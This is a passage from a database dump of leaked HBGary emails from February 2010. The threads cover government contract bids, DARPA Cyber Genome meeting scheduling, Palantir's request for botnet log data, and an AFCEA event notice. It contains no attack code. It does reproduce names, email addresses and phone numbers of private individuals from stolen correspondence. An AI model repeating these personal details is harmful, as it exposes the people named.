\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9458,'aaron_hbgary_com/9458.html'),(2840,'2010-02-19','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297001297.M908273P3547Q2840.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','RE: UNO Partnership?','\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nGreat &#8211; Are you flying into Dulles or National?&nbsp; Maybe we can meet somewhere convenient for you so you can get on with your Friday evening\r\n with minimal hassle.\r\n&nbsp;\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, February 19, 2010 8:40 AM\r\nTo: Bailey, Don\r\nSubject: Re: UNO Partnership?\r\n\r\n&nbsp;\r\n\r\nOk. &nbsp;I am flying back today. &nbsp;I think I get back around 4 or 5pm.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 8:13 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIf you can stop by sometime today I can go over it with you in more detail\r\n (I&#8217;m going to be in VA Beach all next week working with the Navy Seals on something, so if you can swing by or if we can meet somewhere in between I can fill you in). &nbsp;This would be the perfect vehicle to sponsor your tickets if we can get this one.\r\n&nbsp;\r\nDon\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom:\r\n Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 19, 2010 8:01 AM\r\nTo: Bailey, Don\r\nCc: \r\nted@hbgary.com\r\nSubject: Re: UNO Partnership?\r\n\r\n&nbsp;\r\n\r\nHey Don,\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nHaven\'t seen the ego. &nbsp;Still haven\'t nailed down our tickets yet, I am meeting with Jim racz next week to move\r\n that forward.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI\'ll give you a call.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 7:45 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood morning guys &#8211; have you looked at the UNO Crystal Castles RFP? &nbsp;Because of the snow situation and\r\n holidays, we&#8217;re just now getting around to getting our eyes on this one. &nbsp;It seems well suited to our respective strong suits.&nbsp; I&#8217;ve started to take a look at the object of the study and it seems pretty straightforward.&nbsp; I&#8217;m starting a draft proposal.&nbsp; If\r\n you have any questions or just want to chat, call me on 703-582-1277.\r\n&nbsp;\r\nHope all is going well with you guys!\r\n&nbsp;\r\nDon\r\n\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13572,'aaron_hbgary_com/13572.html'),(2841,'2010-02-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001298.M108848P3547Q2841.eml','aaron@hbgary.com','NSA NANA contract','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMike Mulville of SAIC said the two of you have met.&nbsp; Did he\r\ntell you about NSA NANA which is a 10-year staffing contract?&nbsp; Around March 1\r\nSAIC or Booz expect the award.&nbsp; NANA is to fill 1,000 jobs, so whoever wins is\r\ngoing to be looking for people and will use subs.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3610,'aaron_hbgary_com/3610.html'),(2842,'2010-02-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001298.M319183P3547Q2842.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: How did it go with GD call yesterday?','Bummer.  We have to honor the truth and do what is best for us. \r\n\r\nThe clock is ticking. We have to start writing.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 18, 2010 9:11 PM\r\nTo: Bob Slapnik\r\nSubject: Re: How did it go with GD call yesterday?\r\n\r\nBlah.  They bring nothing.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 18, 2010, at 1:22 PM, \"Bob Slapnik\"  wrote:\r\n\r\n>\r\n>\r\n>\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2695 - Release Date: 02/18/10\r\n14:34:00\r\n\r\n',1205,'aaron_hbgary_com/1205.html'),(2843,'2010-02-19','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001298.M539088P3547Q2843.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nId like to introduce you to one of our cyber technical SMEs,\r\nAaron Zollman.&nbsp; Do you think you could work with him to get us some mock\r\ndatasets to play around with in Palantir?\r\n\r\n&nbsp;\r\n\r\nIll let him pick up the thread from here, you should see an\r\nemail from him with a description of what we&#8217;re looking for sometime\r\ntoday.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',407,'aaron_hbgary_com/407.html'),(2844,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001298.M730227P3547Q2844.eml','\"Bailey, Don\" <dbailey@blackbirdtech.com>','Re: UNO Partnership?','Dulles.From my iPhoneOn Feb 19, 2010, at 8:54 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\nGreat – Are you flying into Dulles or National?  Maybe we can meet somewhere convenient for you so you can get on with your Friday evening\r\n with minimal hassle.\r\n \r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, February 19, 2010 8:40 AM\r\nTo: Bailey, Don\r\nSubject: Re: UNO Partnership?\r\n\r\n \r\n\r\nOk.  I am flying back today.  I think I get back around 4 or 5pm.\r\n\r\n\r\n \r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 8:13 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIf you can stop by sometime today I can go over it with you in more detail\r\n (I’m going to be in VA Beach all next week working with the Navy Seals on something, so if you can swing by or if we can meet somewhere in between I can fill you in).  This would be the perfect vehicle to sponsor your tickets if we can get this one.\r\n\r\n \r\nDon\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nFrom:\r\n Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 19, 2010 8:01 AM\r\nTo: Bailey, Don\r\nCc: \r\nted@hbgary.com\r\nSubject: Re: UNO Partnership?\r\n\r\n \r\n\r\nHey Don,\r\n\r\n\r\n \r\n\r\n\r\nHaven&#39;t seen the ego.  Still haven&#39;t nailed down our tickets yet, I am meeting with Jim racz next week to move\r\n that forward.\r\n\r\n\r\n \r\n\r\n\r\nI&#39;ll give you a call.\r\n\r\n\r\n \r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 7:45 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nGood morning guys – have you looked at the UNO Crystal Castles RFP?  Because of the snow situation and\r\n holidays, we’re just now getting around to getting our eyes on this one.  It seems well suited to our respective strong suits.  I’ve started to take a look at the object of the study and it seems pretty straightforward.  I’m starting a draft proposal.  If\r\n you have any questions or just want to chat, call me on 703-582-1277.\r\n \r\nHope all is going well with you guys!\r\n \r\nDon\r\n\r\n \r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9152,'aaron_hbgary_com/9152.html'),(2845,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001298.M951930P3547Q2845.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: NSA NANA contract','Yeah I stopped by to talk with him last week.  He did mention NANA.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 19, 2010, at 8:56 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> Mike Mulville of SAIC said the two of you have met.  Did he tell you\r\n> about NSA NANA which is a 10-year staffing contract?  Around March 1\r\n> SAIC or Booz expect the award.  NANA is to fill 1,000 jobs, so\r\n> whoever wins is going to be looking for people and will use subs.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',12367,'aaron_hbgary_com/12367.html'),(2846,'2010-02-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001299.M125241P3547Q2846.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA NANA contract','Also, Nolan Clifford told me he is looking to place 10 people at NSA if SAIC\r\nwins and that he would hear in March, so this is probably the same\r\nopportunity. It could be a way for you to get a base of people working.  I\r\nhear they aren\'t all security, but a lot are.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 19, 2010 9:51 AM\r\nTo: Bob Slapnik\r\nSubject: Re: NSA NANA contract\r\n\r\nYeah I stopped by to talk with him last week.  He did mention NANA.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 19, 2010, at 8:56 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> Mike Mulville of SAIC said the two of you have met.  Did he tell you\r\n> about NSA NANA which is a 10-year staffing contract?  Around March 1\r\n> SAIC or Booz expect the award.  NANA is to fill 1,000 jobs, so\r\n> whoever wins is going to be looking for people and will use subs.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2695 - Release Date: 02/18/10\r\n14:34:00\r\n\r\n',772,'aaron_hbgary_com/772.html'),(2847,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001299.M323097P3547Q2847.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: How did it go with GD call yesterday?','Northrop has a significant capability called information geometry to\r\nleverage against the genome baa.  At this point my perspective and I\r\nam talking with Northrop about it, we either have a 3 member team with\r\nNorthrop or we drop GD.  I also need to talk with GD if they are\r\ninterested in teaming with Northrop.  I will have this all settled out\r\nby early next week so we can start writing.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 19, 2010, at 8:57 AM, Bob Slapnik  wrote:\r\n\r\n> Bummer.  We have to honor the truth and do what is best for us.\r\n>\r\n> The clock is ticking. We have to start writing.\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 18, 2010 9:11 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: How did it go with GD call yesterday?\r\n>\r\n> Blah.  They bring nothing.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 18, 2010, at 1:22 PM, \"Bob Slapnik\"  wrote:\r\n>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>>\r\n>> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>>\r\n>> www.hbgary.com  |  bob@hbgary.com\r\n>>\r\n>>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.733 / Virus Database: 271.1.1/2695 - Release Date:\r\n> 02/18/10\r\n> 14:34:00\r\n>\r\n',1302,'aaron_hbgary_com/1302.html'),(2848,'2010-02-19','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297001299.M507534P3547Q2848.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','RE: UNO Partnership?','\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nI guess the most convenient thing then is for you to just pop by the offices here.&nbsp; See you late this afternoon.\r\n&nbsp;\r\nDon\r\n&nbsp;\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, February 19, 2010 9:33 AM\r\nTo: Bailey, Don\r\nSubject: Re: UNO Partnership?\r\n\r\n&nbsp;\r\n\r\nDulles.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 8:54 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreat &#8211; Are you flying into Dulles or National?&nbsp; Maybe we can meet somewhere\r\n convenient for you so you can get on with your Friday evening with minimal hassle.\r\n&nbsp;\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom:\r\n Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 19, 2010 8:40 AM\r\nTo: Bailey, Don\r\nSubject: Re: UNO Partnership?\r\n\r\n&nbsp;\r\n\r\nOk. &nbsp;I am flying back today. &nbsp;I think I get back around 4 or 5pm.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 8:13 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIf you can stop by sometime today I can go over it with you in more detail\r\n (I&#8217;m going to be in VA Beach all next week working with the Navy Seals on something, so if you can swing by or if we can meet somewhere in between I can fill you in). &nbsp;This would be the perfect vehicle to sponsor your tickets if we can get this one.\r\n&nbsp;\r\nDon\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom:\r\n Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, February 19, 2010 8:01 AM\r\nTo: Bailey, Don\r\nCc: \r\nted@hbgary.com\r\nSubject: Re: UNO Partnership?\r\n\r\n&nbsp;\r\n\r\nHey Don,\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nHaven\'t seen the ego. &nbsp;Still haven\'t nailed down our tickets yet, I am meeting with Jim racz next week to move\r\n that forward.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI\'ll give you a call.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 7:45 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood morning guys &#8211; have you looked at the UNO Crystal Castles RFP? &nbsp;Because of the snow situation and\r\n holidays, we&#8217;re just now getting around to getting our eyes on this one. &nbsp;It seems well suited to our respective strong suits.&nbsp; I&#8217;ve started to take a look at the object of the study and it seems pretty straightforward.&nbsp; I&#8217;m starting a draft proposal.&nbsp; If\r\n you have any questions or just want to chat, call me on 703-582-1277.\r\n&nbsp;\r\nHope all is going well with you guys!\r\n&nbsp;\r\nDon\r\n\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2317,'aaron_hbgary_com/2317.html'),(2849,'2010-02-19','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001299.M702740P3547Q2849.eml','\"ted@hbgary.com\" <ted@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"bob@hbgary.com\" <bob@hbgary.com>,\"rich@hbgary.com\" <rich@hbgary.com>,\"greg@hbgary.com\" <greg@hbgary.com>,\"ted@hbgary.com\" <ted@hbgary.com>','Update: RE: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change','HB Gary,\r\n\r\nYour meeting with Dr. VanPutte on February 22, 2010 at the Cyber Genome Program Proposers\' Day is scheduled for 1130-1145am.\r\n\r\nThank you,\r\n\r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n\r\n-----Original Message-----\r\nFrom: Moore, Renee (contr-sto) \r\nSent: Thursday, February 18, 2010 10:38 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change \r\n\r\nAll,\r\n\r\n \r\n\r\nDue to the high volume of attendees and requests for individual meetings with Dr. VanPutte, the time allotted for the individual meetings has been shortened to 15 minutes per session.  This will allow everyone the opportunity to meet with Dr. VanPutte.  Once the schedule is adjusted, notifications will be sent with the updated meeting times.\r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n \r\n\r\n',3764,'aaron_hbgary_com/3764.html'),(2850,'2010-02-19','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001299.M900610P3547Q2850.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','','\r\n\r\nhttp://go.theregister.com/feed/www.theregister.co.uk/2010/02/19/aurora_china_probe_latest/\r\n\r\n\r\n From my iPhone\r\n',10641,'aaron_hbgary_com/10641.html'),(2851,'2010-02-19','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001300.M249228P3547Q2852.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','CIA-linked startup touts all-seeing eye for net spooks','Ouch.CIA-linked startup touts all-seeing eye for net spooksBotnet bugging\r\nA security startup with close links to the CIA is touting a system to the UK government that monitors every IP address on the internet for malware, as part of its declared aim of improving cyber war capabilities.…Web threats: Why conventional protection doesn\'t work\r\nFrom my iPhone',6430,'aaron_hbgary_com/6430.html'),(2852,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001300.M440457P3547Q2853.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Re: Presentation in April','End games doesn&#39;t know anything about this yet.  If we are going to do it.  I suggest combining briefs and I recmwns phil/Dino give it.  I will attend.Aaron\r\nFrom my iPhoneOn Feb 18, 2010, at 6:27 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:Aaron what do you think?  That&#39;s sort of your group of people.\r\nOn Thu, Feb 18, 2010 at 4:27 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Phil,\r\n\r\n \r\n\r\nSince HBGary could not participate in their Feb Tech Tuesday\r\nmeeting, SAIC has requested that we give a presentation on April 13th or\r\n20th.  They also have John\r\nFarrell at EndGame lined up to discuss his analysis of Aurora.  So, Tim Estell\r\nof SAIC was thinking that EndGame and HBGary could give back-to-back\r\npresentations or we could work with EndGame to give a joint presentation.  The\r\npresentation would be in Columbia, MD and will be attended by 20-30 SAIC\r\nsubcontractors with interest in malware and cyber security.\r\n\r\n \r\n\r\nBoth\r\nof you could attend, just one of you, or maybe you will decline the offer. \r\nPlease let me know how you would like to proceed.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5814,'aaron_hbgary_com/5814.html'),(2853,'2010-02-19','\"Aaron Zollman\" <azollman@palantirtech.com>','/aaron@hbgary.com/new/1297001300.M621803P3547Q2854.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n&nbsp;\r\n\r\nI met Greg and (I think) Rich\r\nand Shaun in Sacramento on Tuesday to help introduce them to the platform; it\r\nwas great to learn more about how you track and respond to coordinated attacks.\r\n\r\n&nbsp;\r\n\r\nRight now, I&#8217;m trying to model\r\na fast-flux coordinated botnet in Palantir and show how someone with access to\r\na good amount of passive DNS or proxy traffic can build a visual picture of the\r\nnodes involved in coordination, and how control and activity transfer over\r\ntime. \r\n\r\n&nbsp;\r\n\r\nRather than try and mock up a\r\ndataset from scratch, do you guys have some historical logs to share, say from\r\na few days of Storm, that might make for a more believable or accurate model?\r\n\r\n&nbsp;\r\n\r\nThanks &#8211;\r\n\r\n&nbsp; Aaron Z.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com | 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Friday, February 19, 2010 6:31 AM\r\nTo: Aaron Barr\r\nCc: Aaron Zollman\r\nSubject: Datasets\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nId like to introduce you to one of our cyber technical SMEs,\r\nAaron Zollman.&nbsp; Do you think you could work with him to get us some mock\r\ndatasets to play around with in Palantir?\r\n\r\n&nbsp;\r\n\r\nIll let him pick up the thread from here, you should see an email\r\nfrom him with a description of what we&#8217;re looking for sometime today.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14663,'aaron_hbgary_com/14663.html'),(2854,'2010-02-19','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001300.M73389P3547Q2851.eml','\"ted@hbgary.com\" <ted@hbgary.com>,\"ted@hbgary.com\" <ted@hbgary.com>,,,,,','RE: Update: RE: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change','Mr. Vera,\r\n\r\nAre you planning on providing a presentation about HP Gary at the Proposers\' Day? We have time slots available if you wish to do so.\r\n\r\nThank you,\r\nRenee\r\n\r\n-----Original Message-----\r\nFrom: Moore, Renee (contr-sto) \r\nSent: Friday, February 19, 2010 10:09 AM\r\nTo: \'ted@hbgary.com\'; \'aaron@hbgary.com\'; \'bob@hbgary.com\'; \'rich@hbgary.com\'; \'greg@hbgary.com\'\r\nCc: DARPA-BAA-10-36\r\nSubject: Update: RE: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change \r\n\r\nHB Gary,\r\n\r\nYour meeting with Dr. VanPutte on February 22, 2010 at the Cyber Genome Program Proposers\' Day is scheduled for 1130-1145am.\r\n\r\nThank you,\r\n\r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n\r\n-----Original Message-----\r\nFrom: Moore, Renee (contr-sto) \r\nSent: Thursday, February 18, 2010 10:38 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change \r\n\r\nAll,\r\n\r\n \r\n\r\nDue to the high volume of attendees and requests for individual meetings with Dr. VanPutte, the time allotted for the individual meetings has been shortened to 15 minutes per session.  This will allow everyone the opportunity to meet with Dr. VanPutte.  Once the schedule is adjusted, notifications will be sent with the updated meeting times.\r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n \r\n\r\n',13637,'aaron_hbgary_com/13637.html'),(2855,'2010-02-19','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297001300.M814764P3547Q2855.eml','aaron@hbgary.com','DoD\'s Performance Improvement Officer & Asst Dep Chief Management Officer speaks at Feb 26 Monthly Luncheon, Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n             \r\n          \r\n        \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Feb \r\n        26 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        Ms. Elizabeth A. &quot;Beth&quot; McGrath\r\n         \r\n        Assistant Deputy Chief Management Officer &amp;\r\n        Performance Improvement Officer\r\n        U.S. Department of Defense (DoD)\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              February 26, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, 